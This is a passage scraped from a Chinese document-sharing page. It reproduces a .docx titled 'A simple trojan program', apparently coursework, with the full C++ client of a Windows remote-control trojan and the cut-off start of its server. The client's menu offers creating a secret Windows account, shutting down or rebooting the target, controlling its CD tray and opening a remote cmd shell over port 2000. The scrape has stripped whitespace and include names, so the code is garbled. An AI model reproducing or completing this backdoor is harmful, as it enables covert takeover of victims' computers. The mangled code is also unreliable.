资源描述:
《一个简单木马程序.docx》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、程序清单:Client.cpp//客户端代码Server.cpp//服务器端代码程序代码及说明://Client.cpp文件#include//包含标准输入输出库#include//包含windows套接字函数#includeusingnamespacestd;#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#defineMAXSIZE2048//每次可以接收的最大字节#defineSEND_PORT2000/
2、/与木马程序连接的端口为2000structsockaddr_inClientAddr;//对方的地址端口信息SOCKETsock;//定义套接字变量,为全局变量DWORDstartSock()//建立套接字功能模块{WSADATAWSAData;//将WSAData的数据类型声明为WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf("sockinitfail");return(-1);}sock=sock
3、et(AF_INET,SOCK_STREAM,0);//连接对方return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[MAXSIZE];//传送数据的缓冲区charip[100];cout<<"请输入要连接的IP地址"<>ip;startSock();//调用建立套接字功能函数ClientAddr.sin_family=AF_INET;//协议类型是INETClientAddr.sin_port=htons(SEND_PORT);//连接对方2000
4、端口ClientAddr.sin_addr.s_addr=inet_addr(ip);//连接对方的IP地址connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr));printf("------------远程控制木马程序菜单-------------r");printf("add--建立Windows系统的秘密帐号r");printf("shutdown--关闭Windows计算机r");printf("reset--重新启动Windows
5、计算机r");printf("close--关闭光驱r");printf("open--打开光驱r");printf("shell--建立cmd进程r");printf("quit--退出系统r");printf("BIT----------gaoping-----------r");while(1){buf[0]=' ';scanf("%s",buf);//输入控制指令intiLen=strlen(buf);buf[iLen]=0xa;buf[iLen+1]=' ';//要求控制指令串最后为
6、回车符,以示结束numbyte=send(sock,buf,strlen(buf),0);//发出控制指令if(numbyte==SOCKET_ERROR){closesocket(sock);break;}numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);break;}buf[numbyte]=' ';printf("%s",buf);//显示服务端发来的提示符if(strcmp(buf,"quit"
7、)==0){closesocket(sock);return0;}}return0;}//Server.cpp文件#include//包含windows套接字函数#include//包含标准输入输出函数#include//光驱控制函数mciSendString()所需的头文件#include//包含C++系统输入输出函数#include//包含字符串处理函数usingnamespacestd;#include/
8、/WinExec()函数所需的头文件#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#pragmacomment(lib,"Winmm.lib")//光驱控制函数mciS